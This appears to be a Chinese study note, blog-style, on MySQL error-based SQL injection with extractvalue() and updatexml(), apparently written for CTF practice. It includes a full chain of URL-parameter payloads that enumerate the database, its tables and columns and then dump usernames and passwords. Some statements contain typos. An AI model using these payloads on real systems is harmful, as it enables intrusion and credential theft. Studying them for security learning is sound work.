sql知识总结二

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个"无加区别":后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个 参数XML文档对象名称,第二个参数 路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)------>提示报错信息 [我们需要通过报错信息来尝试报错出我们需要的信息]

然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e 是 ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题

select substring(123456,1,3) 第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;

相关推荐
小菜yh7 分钟前
关于Redis
java·数据库·spring boot·redis·spring·缓存
Microsoft Word27 分钟前
数据库系统原理(第一章 数据库概述)
数据库·oracle
华为云开源37 分钟前
openGemini 社区人才培养计划:助力成长,培养新一代云原生数据库人才
数据库·云原生·开源
小安运维日记3 小时前
Linux云计算 |【第四阶段】NOSQL-DAY1
linux·运维·redis·sql·云计算·nosql
kejijianwen4 小时前
JdbcTemplate常用方法一览AG网页参数绑定与数据寻址实操
服务器·数据库·oracle
编程零零七4 小时前
Python数据分析工具(三):pymssql的用法
开发语言·前端·数据库·python·oracle·数据分析·pymssql
高兴就好(石7 小时前
DB-GPT部署和试用
数据库·gpt
这孩子叫逆7 小时前
6. 什么是MySQL的事务?如何在Java中使用Connection接口管理事务?
数据库·mysql
Karoku0667 小时前
【网站架构部署与优化】web服务与http协议
linux·运维·服务器·数据库·http·架构
码农郁郁久居人下8 小时前
Redis的配置与优化
数据库·redis·缓存